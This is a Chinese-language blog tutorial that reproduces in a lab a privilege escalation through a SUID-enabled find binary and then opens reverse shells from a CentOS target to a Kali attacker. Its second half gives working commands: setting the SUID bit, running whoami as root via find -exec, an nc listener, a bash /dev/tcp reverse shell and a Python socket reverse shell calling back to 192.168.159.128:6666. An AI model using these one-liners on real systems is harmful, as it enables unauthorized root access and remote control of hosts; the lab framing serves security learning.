find命令提权以及反弹shell复现

1、find命令常用的参数

语法:find [path…] [expression]

path为查找路径,.为当前路径,/为根目录

expression即为参数

-name: 按文件名查找文件

-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限

-user: 按照文件属主来查找

-size n: 文件大小是n个单位

-type:

d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录

-amin n: 查找系统最后n分钟内曾被存取过的文件或目录

-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录

-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录

-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录

-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录

-print: 将匹配的文件输出到标准输出

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。

具体的使用方法可以自行百度,也可以看一下这篇文章,具体的就不多献丑啦Linux中find命令的7种用法 - 云+社区 - 腾讯云

2、find命令提权复现

 2.1、搭建环境

1、VMware虚拟机一台

2、攻击主机:

kali系统 

IP:192.168.159.128

3、目标靶机:

CentOS 7系统

IP: 192.168.159.130

 2.2、复现提权过程

 需要进检查find命令是否有suid权限,有suid权限可进行提权操作

查看find位置

which find

 查看find权限

ls -alh /usr/bin/find

 查找有suid属性权限的文件

find / -perm -u=s -type f 2>/dev/null

find命令提权以及反弹shell复现_第1张图片

find命令没有suid权限,给find命令赋予suid权限,想了解suid权限的可以参考CSDN

chmod u+s /usr/bin/find

find命令提权以及反弹shell复现_第2张图片

 find拥有suid权限位,尝试以find命令执行whoami

find `which find` -exec whoami \;

find命令提权以及反弹shell复现_第3张图片

 通过对比发现已经是以root权限执行find命令

# 命令解释: 以find 命令 执行  whoami 命令。   
# find  (一个路径或文件必须存在)  -exec  执行命令 (结束)\;

尝试进行反弹shell

用kali进行监听

# 监听端口6666

nc -lvvnp 6666

 靶机开始进行反弹shell

# 用find命令进行反弹shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.159.128/6666 0>&1 \;

find命令提权以及反弹shell复现_第4张图片

 # 也可以用python的方式进行反弹shell

find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.128",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
 

find命令提权以及反弹shell复现_第5张图片

 感觉两个效果一样了,不足的地方各位大佬多多指点,跪谢!

你可能感兴趣的:(linux,安全)